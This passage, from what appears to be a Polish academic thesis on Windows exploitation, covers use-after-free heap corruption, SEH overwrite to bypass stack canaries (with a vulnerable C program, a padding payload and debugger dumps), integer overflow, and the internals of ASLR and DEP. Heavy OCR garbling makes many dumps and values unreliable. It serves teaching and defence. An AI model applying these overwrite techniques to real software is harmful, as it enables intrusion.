0000000000LF2760 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipipipipip
00000000001F2770| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipibipipipip
00000000001F2780 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipibibibibpibib
0000000000LF2790 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipibipibip
00000000001F27A0| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipibipipipip
00000000001F27B0 |EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipipipipip
00000000001F27C0 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipibipipipip
00000000001F2700 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipibipipipip
0000000000LF27ED |EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipipipipip
00000000001F27F0| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipibipipipip
00000000001F2800 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipibibibibib

Rysunek 12. Zawartos¢ zaalokowanej pamieci przed jej zwolnieniem.

Po wywotaniu free menadzer sterty uznaje blok danych za wolny, do dalszych alokacji. W
miejsce wezesniejszych danych wstawiony zostaje element LIST ENTRY (Rysunek 13.),

zawierajacy poprzedni oraz nastepny wolny blok danych na stercie. (0x1F4210 oraz

0x1F0150).

Address Hex ASCII
00000000001LF26C0 | AE ABE ABE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|aaazpipipipipipip
00000000001F26D0 | 00 00 00 00|00 00 00 OO(00 00 OO0 00|00 O0 00 DD ... veeeeeeennnns
00000000001F26EQ | EE FE EE FE|EE FE EE FE|7F 00 DF 25|48 S5F 00 00| ipipipip..BxK_..
Q0000000001F26F0 |10 42 IF Q0|00 DO 00 Q0|50 01 AF 000D 00 00D DD| .B.vuvwaPoiceuuns
00000000001F2700 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipibipipipibip
00000000001F2710 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipipipipip
00000000001F2720| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipibipipibibip
00000000001F2730| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipipibibib
00000000001LF2740 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipipipipip
00000000001F2750| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipibipipibibip
00000000001F2760| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipibibibibibib
0000000000LF2770| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipibibipibibip
00000000001F2780| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipibipipibibip
00000000001F2790 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipipipipip
00000000001F27A0| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipibipipipibip
AAAAANNATAINICE3Tonl oo oo oo coclee £ e eclee e e colee e e ecl Akhihihihibhihihihk

Rysunek 13. Zawartos¢ pamigci po jej zwolnieniu.

Wskaznik x nadal wskazuje na adres 0x1F26F0, wigc jest mozliwe nadpisanie struktur sterty.
Dla przykladu adres poprzedniego wolnego bloku pamigci zostanie zmieniony na warto$¢
0xBEEFBAADDEADCODE (Rysunek 14.). W tym przypadku aplikacja podczas dalszych
operacji na stercie napotka btad, a program zostanie zakonczony z btedem. Tworca exploitu

moze wykorzysta¢ fakt, ze bloki danych sg uzywane ponownie oraz wykorzysta¢ przedawniony
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wskaznik (dangling pointer) w celu nadpisania struktur sterty [XIV]. Uktad wolnych blokow

pamigci na stercie zostat zaprezentowany na Rysunku 15.

00000000001F26B0 | 78 65 00 AB[AE AE AE AB[AE ABE AE AE[AB AB AB AB|xe.sasceaeaaaccs
00000000001F26C0 | AB AB AB FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|zaza«pipipipipipip
00000000001F26D0 | 00 00 00 00|00 00 OO0 00|00 OO0 OO0 00|00 00 00 00| ... eeeeeeeennnns
00000000001F26ED | EE FE EE FE|EE FE EE FE|7F 00 DF 25|48 S5F 00 00| ipipipip. .BxK_. .

00000000001F26F0 |DE CO AD DE|AD BA EF BE (S0 0l 1F 00/00 00 00 00| bA.b.®i%P.......

00000000001F2700 (EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipipipipip
00000000001F2710 | EE FE EE FE(EE FE EE FE|EE FE EE FE(EE FE EE FE|1pipipipipipipip
00000000001F2720 | EE FE EE FE(EE FE EE FE|EE FE EE FE(EE FE EE FE|ipipipipipipipip
00000000001F2730 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipipibipip
D00DD0O0D00LF2740 | EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipipipipipip
NNNNNNNNNNAE?7en | EE EF FE EEIEE EF EF EEIEF FE FF EEIEF FE EE EE | Thihihihihihihih
Rysunek 14. Zwolniony blok pamieci sterty.
HEAP
e et +
| ... | Double-Linkedlist
| BlocksIndex | Fommmmmmm oo + Fommmmmmm oo +
$oommmmemoenoe - | | | |
| | | Size | | Size |
| Freelist T —— p + T ——— +
Fommmmm oo + | Flink  €-----mmmmmmmmo- + Flink |
| | Fommm - + Fommm - +
|  FrontEndHeap | | | + |
| | | Blink 4--------------- + Blink |
| | I ——— + I ——— +
T 4

Rysunek 15. Zobrazowanie listy podwdjnie wigzanej wolnych blokéw pamieci w obrebie sterty.

4.3Naduzycie Structured Exception Handling w celu obejscia zabezpieczenia
Stack Canary w 32 bitowym systemie Windows.

Mechanizm obstugi wyjatkéw Stuctured Exception Handling jest natywnym sposobem
obstugi wyjatkéw w Microsoft Windows. Moga korzysta¢ z niego kompilatory jezykow
wysokiego poziomu (np. C, C++). Dzigki temu mechanizmowi programista moze doda¢ kod
obstugi nieoczekiwanych sytuacji (np. awaria, brak pamigci, itp.). 32 bitowa wersja systemu
Windows implementuje SEH w postaci ramek (frame based) na stosie ktore sg potaczone ze

soba listg jednokierunkowa (Rysunek 16.).
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Zmienne lokalne

Stack Canary

Wskaznik ramki stosu

Adres powrotu funkcji

Argumenty

Rysunek 16. Umiejscowienie rekordu SEH na ramce stosu wraz z stack canary.

Stack Canary (ciasteczko bezpieczenstwa) widoczny na Rysunku 16. jest konstruktem
dodawanym na stos przez kompilator Microsoft Visual C++ (przetacznik /GS) majacym na
celu zapobieganie atakom przepeknienia bufora na stosie [2]. Mechanizm doktadniej zostanie
opisany w rozdziale 5.3. Nie jest mozliwe bezposrednie nadpisanie adresu powrotu z funkcji
bez znajomosci warto$ci ciasteczka.

Adres procedury obstugi wyjatku SEH, moze zosta¢ nadpisany np. poprzez wykorzystanie
bledu przepelienia bufora, przekierowujac wykonanie procesu. Przeciwdziala temu,
opisywany w dalszej czgsci pracy SafeSEH oraz SEHOP.

Analizujac kod w jezyku C (Przyktad 3.), ktory tak jak w podrozdziale 4.1 posiada btad
przepetnienia bufora mozna zaobserwowac, ze nie rdzni si¢ on znaczgco od Przyktadu 1.,
jednak tym razem nie jest mozliwe nadpisanie adresu powrotu z funkcji, gdyz jest on chroniony
przed nadpisaniem przez ciasteczko bezpieczenstwa. Zawiera rowniez dodatkowo instrukcje,
ktora w programie pozwoli wygenerowac¢ wyjatek po nadpisaniu bufora (warunek do przejecia
kontroli wykonania). Program zostat skompilowany przez Microsoft Visual Studio 2019 dla
architektury x86 wraz z zabezpieczeniem stack canary oraz przelacznikami

/DYNAMICBASE:NO 1 /SAFESEH:NO. Warto$¢ OxFF nie jest poprawnym kodem instrukcji
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w architekturze x86. Instrukcja zostala wprowadzona do programu aby, symulowata
prawdopodobny przypadek rzucenia wyjatku przez exploitowany program, gdy uktad jego stosu
ulegnie zniszczeniu (np. zawiera dalszy kod ktory operuje na innych zmiennych lokalnych).
Zdekompilowany kod maszynowy przy uzyciu programu x64dbg zostat przedstawiony na

Rysunku 17.

#include <stdio.h>
#include <windows.h>

int main(int argc, char* argvl[])

{
char buf[20];
FILE* fin = fopen("a.txt", "rb");
fread(buf, 1, 1000, fin);
__asm __emit OxFF;
// RaiseException (0OxcOde, 0, NULL, NULL); symulacja wygenerowania
//wyjatku
fclose (fin);
return 1;
}

Przyktad 3. Naduzycie SEH w celu ominiecia Stack Canary

44 push ebp Projectl.cpp:&

BEEC mov ebp,esp

83EC 1C sub esp,1C

Al 04304000 mov eax,dword ptr ds:[< security_cookiex]

33C5 xor eax,ebp

8945 FC mov dword ptr ss:[ebp-4f),eax

53 push ebx

EE push esi esi:&"C:\\Users

57 push edi edi: &"ALLUSERSFF
00401013 &8 00214000 push projectl. 402100 Projectl.cpp:7
C 1018 658 04214000 push projectl. 402104 402104:"a. txt"™
C C FF15 BC204000 call dword ptr ds:[<&fopen=]

50 push eax Projectl.cpp: s

&8 ES030000 push 3ES&

8945 E4 mov dword ptr ss:[lebp-1Cl],eax

8D45 ES lea eax,dword ptr ss:|[lebp-1:s]

6A 01 push 1

50 push eax

FF15 E4204000 call dword ptr ds:[=&fread>]

B3C4 add esp,18

FF

FF75 E4 push dword ptr ss:[ebp-1Cf) Projectl.cpp: 10
C 3F FF15 BEZ204000 €all dword ptr ds:[<&fclosex]
00401045 BE4D FC mov ecx,dword ptr ss:|lebp-4 Projectl.cpp: 15
00401048 83C4 04 add esp,4
C 1048 33CD Xor ecx,ebp
€ C BS 01000000 mov eax,l
C 5F pop edi edi: &"ALLUSERSFF
C SE pop esi esi:&"C:\\Users
C C SB pop ebx
C 1055 ES 04000000 call <projectl.@  security_check_cookie@4>
0040105A SEES mov esp,ebp
L 105C 5D pop ebp
|oosotosp  :: ret

Rysunek 17. Zdekompilowany kod funkcji main
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Uktad stosu przed wezytaniem danych do bufora zostat przedstawiony na Rysunku 18.

)5 DD402108 | projectl. 00402108

i) 1 | DOGBAEED | &"C:Y\'\Users'\Dominik''\source''\repos'‘Projectl‘\Release"\Projectl. exe"
0019FF10| 00401138 |return to projectl.pre_cpp_initialization+l0 from projectl._ set_new_mode
0O019FF14 | 00000000
0019FF18 | 76C2AC47 |return to ucrthase.76C2AC4? from 777
0019FFIC | 00ZECO00 )
0019FF20 | 004012BC | "2A\X03"
42EFDESD
O013FF70
[00401234| return to projectl._ scrt_common_main_seh+FA from projectl._main
00000001
006BAEED| &"C:\NUsers'\Dominik'\source'\repos'\Projectl'\Release\\Projectl. exe"
5 || 00689210| &"ALLUSERSPROFILE=C:\\Programpata"
3C || 42EFD60S .
O019FF40 || 004012BC "EA\XDB"
0019FF44 || 004012BC| "2A\X03"
0 48 || 002ECO0OOD
00000000
00000000
00000000
00D19FF3C
00000000
F&0 | 00L9FFCC
004019C5| projectl.__except_handler4
42B60CFS
00000000
-0019FFB0

768FA29|return to kernel32.7768FAz9 from 777
002ECO00D
776BFALD| kernel3z. 7768FALD
-0019FFDC

7CF7A9E|return to ntdl1.77CF7ASE from 777
00Z2ECO00D
AZB74FB9
00000000
00000000
002ECO00
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
OO19FFBC| " 0-¢"

00000000
0OD19FFE4
77D0AD 40| ntd11. 77D0OAD 40
D5777805
00000000
019FFEC
77CF7AGE| return to ntdll.77CF7AGE from ntdll.77CF7AGF
FFFFFFFF
77D18A5A| ntd11.77D18A5A

Rysunelk 18. Uklad stosu przed wezytaniem danych do bufora.
Pod adresem 0x19FF10 znajduje si¢ bufor ,buf”, a tuz za nim stack canary. Ramki SEH
polaczone w liste jednokierunkowa znajduja si¢ pod adresami 0x19FF60, 0x19FFCC oraz
0x19FFE4. Gdy w programie wystepuje wyjatek, procedury obstugi sa wykonywane zgodnie
z dziataniem kolejki LIFO. Wykonanie programu zostanie przekierowane na potrzeby
eksperymentu pod adres 0x40105D (instrukcja ret w funkcji main). Do bufora ,,buf” zostang
wczytane dane zaprezentowane na Rysunku 19.

41-41 41 41 41-41 41 41 41 [WNAAAAAAAAAAAAAAA
A1-41 41 41 41-41 41 41 41 AAAAAAAAAAAAAAAA
41-41 41 41 41-41 41 41 41 AAAAAAAAAAAAAAAA

41-41 41 41 41-41 41 41 41
A1-41 A1 41 41-41 41 41 41 AAAAAAAAAAAAAAAA
a8 - = AAAA @

Rysunek 19. Dane wczytane do bufora w postaci hexview

Adres przekierowania zostal pod$wietlony na Rysunku 19. oraz zapisany w notacji little-
endian. Aby nadpisa¢ pierwszy w kolejce adres procedury obstugi zostanie zapisana ramka
SEH pod adresem 0x19FF60. Adres jej procedury obstugi znajduje si¢ w odlegtosci 0x54
bajtow od poczatku bufora ,,buf”’. Dane zostaty wezytane do bufora, a adres procedury obstugi

nadpisany (Rysunek 20.).
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C | 00578328 | ™ Ow™
)| 41414141
41414141
3| 41414141
41414141
| 41414141
41414141
5| 41414141
(41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
WILIFFE0 || 41414141

0019FF&4 (| 00401050 | projectl.main+sD

e ueun

i ;

Rysunek 20. Adres procedury obstugi wyjqtku nadpisany.

Wykonanie programu zostato przekierowane pod adres 0x40105D, tak jak zostato zaplanowane
(Rysunek 21.).

- - U
. BB4D FC mov ecx,dword ptr ss:|[Jebp-4]
. 83C4 04 add esp,4
. 33CD xor ecx,ebp
. B8 01000000 mov eax,l
. SF pop edi
. SE pop esi
. SE pop ebx
. ES 04000000 €all <projectl.@_  security_check_cookieg@4>
. BBES mov esp,ebp
. S SD pop ebp
o | IEEEREER] €3 ret
® | DD40105E 3B0D 04304000 cmp ecx,dword ptr ds:[<___security_cookiex]
r----#( 00401064 ~ 75 01 jne <projectl.failure>
| || 00401066 c3 ret
—1L call nnananeT v EG TanNTIAONN Amn cneadact rannrt AacFailuras

Rysunek 21. Przekierowanie wykonania pod arbitralny adres zakoriczone sukcesem.

4.4Integer overflow

Liczby catkowite sa kodowane na wspotczesnych komputerach najczesciej tzw.
kodowaniem z uzupetieniem do dwoch (U2) 1 bedzie ono opisywane w dalszej czgsci pracy.
Konkretne typy zmiennych catkowitoliczbowych najczesécie] majg wielkos¢ 8, 16, 32 oraz 64
bitow (wyjatkiem sg tzw. duze liczby). Ich wielkosci podyktowane sg gtownie wsparciem ze
strony sprzetu. Wielko$ci typdw zmiennych takich jak signed/unsigned char, short, int, long
oraz long long w jezykach C/C++ nie sg okreslone przez standard j¢zyka, lecz przez konkretng
implementacje kompilatora. Programista moze omytkowo przyja¢ zatozenie co do wielkos$ci
typu z innego typu, co moze prowadzi¢ do pdzniejszego btedu. Dla przyktadu typ long w
systemie GNU/Linux w architekturze x86-32 ma wielko$¢ 32 bitow, ale w architekturze x86-
64 ma juz wielko$¢ 64 bitow, co nie jest tozsame z systemem Microsoft Windows, na ktorym
typ long dla obu tych architektur ma wielko$¢ 32 bitow. 32 bitowa zmienna typu catkowitego
zgodnie z kodowaniem U2 moze przyja¢ wartosci od -2147483648 (0x80000000) do
2137483647 (0x7FFFFFFF). Warto zwroci¢ uwage, ze w zmiennej mozna zapisa¢ o jedng

liczbe ujemna wigcej niz mozna zapisac liczb dodatnich. Wykonywanie obliczen na zmiennych
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o okreslonej wielkosci niesie ze sobg ryzyko tzw. przepelnienia zmiennej (integer
overflow) [3]. Do przepekienia zmiennej moze dojs¢ w nastepujacych przypadkach:

e Wynik operacji arytmetycznej wykracza poza zakres zmiennej, do ktérej ma byc
zapisany.

e Podczas rzutowania zmiennej z wigkszego (majacego wiecej bitow) typu do mniejszego
typu (np. zmienng typu uintl6_t zawierajacg wartos$¢ przekraczajacg 255 do zmienne;j
typu uint8_t).

e Podczas konwersji z innej reprezentacji (np. tekstowej) do zmiennej liczbowej (np.

poprzez funkcje atoi).

#include <windows.h>

int binary search(int* a, int size, int val)
{
int min = 0;
int max = size - 1;
while (min <= max)
{
int mid = (min + max) / 2;
if (a[mid] < val)
{
min = mid + 1;
}
else if (a[mid] > wval)
{
max = min - 1;
}
else
{
return mid;
}
}
return - (min + 1);

}

int main(int argc, char* argvl[])

{
int* a = (int * ) VirtualAlloc (NULL, 0x60000000 * sizeof (int),
MEM COMMIT | MEM RESERVE, PAGEiREADWRITE) ;
for (inI i = 0; 1 < 0x60000000; 4i++)

binary search(a, 0x60000000, 0x5f£425384);

Przyktad 4. Przyktad kodu zawierajgcego blqd Integer Overflow
Szczegdlnym przypadkiem przepetlnienia podczas operacji arytmetycznych jest
przepehnienie podczas operacji zmiany znaku (np. negacja zmiennej o§miobitowej catkowitej

o wartosci -128, nie jest mozliwe zapisanie w kodowaniu U2 na o$miu bitach warto$ci 128). W
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sytuacji przepelnienia system badz oprogramowanie (w zalezno$ci od architektury) moze
zareagowacé w rozny sposob:
e wynik zostanie przyciety do wielkosci zmiennej (domyslne zachowanie w architekturze
x86).
e Zmienna zostanie nasycona (rozszerzenie x86 Intel MMX) [XV]
e Zasygnalizowanie przepelnienia (np. poprzez wygenerowanie wyjatku i obstuzenia
btedu badz ustawienia flagi przepelnienia)
e Awans zmiennej
W tej pracy zostang przeanalizowane potencjalne skutki przycigcia zmiennej catkowite;j
do jej dolnych N bitéw (N — ilo$¢ bitow zmiennej). Zostanie przeanalizowana przykladowa
implementacja algorytmu wyszukiwania binarnego w jezyku C z Przyktadu 4. [XVI].
Funkcja jest podatna na btad integer overflow w dziewiatej linii kodu. Gdy 32 bitowa warto$¢
min + max przekroczy warto$¢ 0x7FFFFFFF stanie si¢ ona ujemna (wedtug kodowania U2)
1 dereferencja tablicy spod ujemnego indeksu spowoduje blad uniemozliwiajacy dalsze
korzystanie z aplikacji. Taka sytuacja moze zaistnie¢ dla przeszukiwanych zbiorow danych o
ilosci elementéw wigkszej niz 2°°. W tym przyktadzie do przeszukania zostata przekazana
tablica zawierajaca 0x60000000 eclementéw. Program uzywajacy tej funkcji zostat
skompilowany przez 64 bitowy kompilator MinGW oraz uruchomiony. Po pierwszym
przebiegu petli while zmienna mid wynosi 0x2FFFFFFF, a do zmiennej min zapisana zostata
warto$s¢ 0x30000000. W nastepnym przebiegu petli do mid zostanie przypisana wartos¢
0x8FFFFFFF (warto$¢ ujemna). Przy probie odwotania si¢ do tego indeksu tablicy a, program
odwotuje si¢ do nieistniejacej pamigci ze wzgledu na nieprawidtowo wyliczony adres elementu

a|mid]. Proponowane rozwigzanie omawianego bledu jest zamiana linii kodu:

int mid = (min + max) / 2;
na
int mid = min + ((max - min) / 2);

Bledy integer overflow moga rowniez w szczeg6lnych przypadkach spowodowaé wykonanie
kodu atakujgcego, gdy logika programu kieruje wykonanie zaleznie od Zle obstugiwanej

zmiennej catkowitej [ XVII].
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5. Metody ochrony aplikacji

W tym rozdziale zostang przedstawione istniejace metody ochrony zaimplementowane
w systemie operacyjnym, jak réwniez te ktore s3 dodawane podczas kompilacji programu.
Opisane zostang mechnizmy: Address Space Layout Randomization, Data Execution

Prevention, Stack Canary, SafeSEH oraz SEHOP.

5.1 Address Space Layout Randomization

ASLR (Adress Space Layout Randomization) jest mechanizmem zwigkszajacym
bezpieczenstwo, ktory jest zaimplementowany w systemie Windows poczawszy od wersji 6.0
(Vista). Jego przeznaczeniem jest zapewnienie losowo$ci adresow wirtualnej przestrzeni
adresowej (np. adres kodu, danych, sterty, stosu). Implikuje to znaczace utrudnienie dla
potencjalnego atakujacego, ktory nie moze odwotac si¢ juz do statycznych adreséw zalozonych
fragmentéw kodu badz danych w celu manipulacji pamigcig. Aby system mogl zainicjowac
adresy losowo, obraz aplikacji musi by¢ do tego przystosowany. Obraz powinien by¢
niezalezny od swojego adresu bazowego (PIC — Position Independent Code [XVIII]) lub by¢
relokowalny. Kompilator Microsoft Visual C++ kompiluje pliki wykonywalne badz biblioteki
zgodne z mechanizmem ASLR poprzez przetacznik /DYNAMICBASE. Loader plikow PE
systemu Windows sprawdza zgodno$¢ z opisywanym mechanizmem poprzez sprawdzenie flagi
IMAGE_DLLCHARACTERISTICS DYNAMIC BASE (warto$¢ 0x40) znajdujacej si¢ w
opcjonalnym nagtowku pliku PE IMAGE_OPTIONAL_HEADER w polu DllCharacteristics
[XIX]. W tej pracy zostanie omowione dzialanie mechanizmu ASLR dla 32 bitowe] wersji
systemu Windows 7.

Biblioteki wspoldzielone (dll), ze wzgledu na to, ze sa one wspdluzytkowane przez
wiele procesow, ich adres bazowy jest zalezny od warto$ci zmiennej globalnej MilmageBias
jednorazowo inicjalizowanej podczas startu systemu w jadrze systemu (ntkrnlpa.exe badz
ntkrnlos.exe w zalezno$ci od wersji jadra (skompilowane wraz z Physical Address Extension
badz bez niego)) w funkcji MilnitializeRelocations [ XX]. W wyniku inZynierii wstecznej jadra
kod funkcji MilnitializeRelocations z pliku ntkrnlpa.exe (Windows 7 x32 SP1) zostat
przedstawiony na Rysunku 22. Jadro najpierw sprawdza czy mechanizm ASLR nie jest
wylaczony globalnie (zmienna globalna MmMovelmages jest wtedy ustawiona na wartos¢ -1
[XXI]). Nastepnie menadzer pamigci tworzy tablice MilmageBitMap o wielkosci 0x2800
bajtow. Kazdy bit odpowiada jednej stronie pamigci (o wielkosci 64 KB), co pozwala

zaadresowac strony w przestrzeni 0x28000000 bajtéw. Najwyzszy mozliwy adres bazowy dla
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biblioteki jest zapisany w zmiennej globalnej MilmageBitMapHighVa, ktérej w badanym
przypadku zostata przypisana warto$¢ 0x78000000. Wczesniej wspomniane MilmageBias jest
wyliczane na podstawie licznika cykli zegara Time Stamp Counter (TSC) procesora,
pobieranym przez instrukcje rdtse, warto§¢ ta jest przesuwana bitowo w prawo o cztery
pozycje, a nastepnie maskowana do 8 bitowe] warto$ci poprzez operator bitowego iloczynu i

zapisywana.

il e =

3 Attributes: bp-based frame

3 _DWORD _ stdcall MiInitializeRelocations()
_MiInitializeRelocations@® proc near

var_4= dword ptr -4

mow edi, edi
push ebp
mow ebp, esp
push ecx
cmp _MmMovelImages, @
mow [ebp+var_4], offset _MiNoRelocate
jz short locret_798624
A J
miM ; Tag
588h ; NumberOfBytes
@ 3 PoolType
mow _MiImageBitMapHighva, 73eeeeeeh
call _ExAllocatePooclWithTagl2 ; ExAllocatePoolWithTag(wx,x,x)
test eax, eax
jnz short loc_7985F8
bl s =]
and _MmMovelImages, eax
leave loc_7985F8: ; BitMapHeader
retn push offset _MiImageBitMap
mow _MiImageBitMap.SizeQfBitMap, 28e8h
mow _MiImageBitMap.Buffer, eax
call _RtlClearAllBits@4 ; RtlClearAllBits(x)
rdtsc
shrd eax, edx, 4
shr edx, 4
and eax, B@FFh
mow _MiImageBias, eax
h 4
I

locret_798624:

leave

retn
_MiInitializeRelocations@@ endp

Rysunek 22. Kod funkcji MilnitializeRelocations

Adres bazowy pierwszej tadowanej biblioteki wspotdzielonej (ntdll.dll) bedzie miat wartos¢
MilmageBItMapHighVa — MilmageBias * 0x10000. Kazda kolejna biblioteka dll bgdzie

tadowana w odniesieniu do adresu ntdll.dll. W omawianym przypadku mozliwe adresy bazowe
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bibliotek mieszcza si¢ pomigdzy 0x50000000 a MilmageBitMapHighVa. Jadro dla kazdej
nastepnej biblioteki skanuje wolne bity w MilmageBitMap poczawszy od indeksu
MilmageBias oraz na tej podstawie oblicza jej adres bazowy. Oznacza to, ze znajac adres
biblioteki ntdll.dll wyliczenie adreséw bazowych innych bibliotek nie stanowi problemu. Gdy
cala dostepna przestrzen adresowa dla bibliotek wspodtdzielonych zostanie zapelniona, adres
bazowy jest obliczany tak jak dla plikéw wykonywalnych, co zostato opisane w nastgpnym
akapicie.

Aplikacje (rozszerzenie .exe) maja losowany adres bazowy za kazdym razem, gdy sa
tadowane. Funkcjg w jadrze systemu odpowiedzialng za wybranie pseudolosowego adresu
bazowego jest MiSelectImageBase. Pobierana jest aktualna liczba cykli zegara (TSC),
nastgpnie przesuwana o cztery pozycje, dzielona modulo OxFE oraz do tej wartosci jest
dodawana warto$¢ 1. Calo$¢ jest przesuwana w lewo o 16 pozycji (domyS$lna granulacja

alokacji). Dla uproszczenia obliczenia zostaty zapisane w Réwnaniu 1.

Przesuniecie adresu bazowego = ((TSC >> 4) % OxFE + 1) << 16

Réwnanie 1. Przesunigcie adresu bazowego
Loader dodaje preferowany adres bazowy ImageBase zapisany w opcjonalnym nagléwku pliku
PE do wcze$niej obliczonego przesuni¢cia i taduje obraz pod wskazany adres pamigci
wirtualnej.

Za kazdym razem, gdy w procesie tworzony jest nowy watek oraz w strukturze
EPROCESS tego procesu nie ustawiona zostata flaga StackRandomizationDisabled, adres
stosu tego watku jest wybierany losowo sposrod 32 mozliwych adresow (indeks w tablicy
mozliwych adresow jest aktualng liczbg cykli zegara TSC z natozong pigciobitowa maska).
Nastepnie do adresu dodawana jest kolejna (liczona w innym miejscu w kodzie) wartos¢ TSC
z natozong dziewigciobitowg maska pomnozong przez 4.

Mechanizm ASLR losuje réwniez adresy stert w procesie. Aby obliczy¢ adres dla
pierwszej tworzonej sterty (przez AP1 RetlCreateHeap) pobierana jest aktualna liczba cykli
zegara TSC, naktadana jest na nig maska pigciobitowa oraz przesuwana o szesnascie pozycji
w lewo. W rezultacie adres bazowy pierwsze] sterty w procesie bedzie zawarty pomigdzy

adresami 0 1 0x1F0000.
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5.2Data Execution Prevention

Data Execution Prevention (DEP) jest zbiorem sprzetowych jak rowniez
programowych rozwigzan, ktére maja zapewni¢, ze wykonanie programu nie moze zostaé
przekierowane do stron pamieci z danymi (np. stos, sterta). Chroni to aplikacje przed atakami
mogacymi wykona¢ ztosliwy kod (np. btad przepetnienia bufora). Aby uzy¢ DEP wspieranego
sprzetowo muszg zosta¢ spetnione nastgpujace warunki:

1. Procesor komputera musi zawiera¢ obstuge bitu NX (AMD) badz XD (Intel). W tym
celu wymagane jest, aby rozmiar tablicy wpiséw stron PTE (Page Table Entry) miat
dhugos¢ 64 bitow. Aby umozliwi¢ dziatanie DEP na systemach 32 bitowych procesor
musi pracowaé w trybie PAE (Physical Address Extension). Wpis PTE w tym trybie
zostat zilustrowany na Rysunku 24., a bez tego trybu na Rysunku 23.

2. DEP wspierany sprzgtowo musi by¢ wlaczony w BIOS.

3. Komputer musi dziata¢ pod kontrolg systemu Microsoft Windows XP wraz z Service
Pack 2 badz nowszego.

4. DEP wspierany sprzgtowo musi zosta¢ wiaczony dla aplikacji w systemie 32 bitowym.

W 64 bitowym systemie mechanizm ten jest zawsze wiaczony.

3 12 11 a
ujr
PAGE FRAME ADDRESS 31..12 AVAIL |@ @|D|a|8 8|/ |~ |P
S|
P — PRESENT
R-Y — READAURITE
U5 — USER-SUPERVISOR
D — DIRTY
AVAIL - AVAILABLE FOR SY¥STEMS PROGRAMMER USE

NOTE: 8 IMDICATES INTEL RESERUED. DO HOT DEFIME.

Rysunek 23. Wpis PTE bez bitu NX (architektura x86)
Mechanizm zostal zaimplementowany poprzez dodanie specjalnego bitu NX (badz XD)
w  strukturze  tablicy wpisow  stron PTE. System  wygeneruje  wyjatek
STATUS_ACCESS_VIOLATION dla watku probujacego wykona¢ kod w trybie
uzytkownika znajdujacy si¢ na stronie pamie¢ci z zapalonym bitem NX. Gdy watek systemowy
dokona proby wykonania kodu znajdujacego si¢ na stronie pamigci z bitem NX, system
zakonczy swoje dziatanie z kodem btedu

ATTEMPTED _EXECUTE_OF _NOEXECUTE_MEMORY (0xFC).
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¥ No execute

*Reserved

# Software Field (prototype PTE)
# Software Field (copy on Write)
» Global

+ Large Page

# Dirty

Accessed

# Cache disabled
——— Write Through

=t Owner

Write
[—PValld
wworkd Reserved | P Fi Miuribes
h‘;.m“: 20 Frame Nume | PCw|G| L{p|A Cd|Wt o|w|v
63 62 5251 3940 1211109 8 76 54 3 2 1 0

Rysunek 24. Wpis PTE dla architektury x86 64 oraz architektury x86 wraz z PAE [XXII].

Omawiang ochrong sg objete wszelkie fragmenty pamigci, ktore nie zawieraja kodu (np.
stos, sterta, sekcje danych jak .rsre, .rdata, sekcje danych niezainicjalizowanych .bss oraz
wszystkie inne obszary, ktdre nie sg jawnie oznaczone jako wykonywalne).

Aby program byl zgodny z mechanizmem DEP Kompilator Microsoft Visual Studio
C++ posiada przetacznik /NXCOMPAT. Aplikacje skompilowane z uzyciem tego przetacznika
posiadaja flage IMAGE_DLLCHARACTERISTICS _NX_COMPAT w polu
DIICharacteristics w opcjonalnym naglowku pliku PE. Flaga ta jest sprawdzana w funkcji
LdrpCheckNXCompatibility znajdujacej si¢ w bibliotece ntdll.dll podczas inicjalizowania
procesu oraz tadowania biblioteki wspoldzielonej. Co cieckawe DEP moze zakloci¢ prace
aplikacji stworzonych przed jego wprowadzeniem do systemu (np. oprogramowanie DRM
SafeDisc, programy spakowane przez niekompatybilne szyfratory plikow PE np. ,,StarForce”).
Podane przyktady sa uwzglednione w kodzie systemu i dla nich mechanizm DEP nie zostanie
wlaczony. Aplikacje moga rowniez zosta¢ napisane niedbale, bez podzielenia jej zawartosci na
kod oraz dane, co réwniez moze prowadzi¢ do niekompatybilnosci. Microsoft przewidziat dla
takich sytuacji mozliwo$¢ wylaczenia omawianego mechanizmu w 32 bitowych wariantach
SW0jego systemu operacyjnego.

Kod w jezyku C, ktory przekierowuje wykonanie na stron¢ pamigci danych zostal
zaprezentowany w Przykladzie 5., natomiast kod maszynowy wygenerowany dla tego
programu przez kompilator zostat przedstawiony na Rysunku 25. Pami¢é na stercie zostaje
alokowana przez wywotanie systemowe LocalAlloc. Domyslnie sterta ma prawo do odczytu
oraz zapisu. Do pierwszego elementu bufora buf jest kopiowany kod operacji ret dla
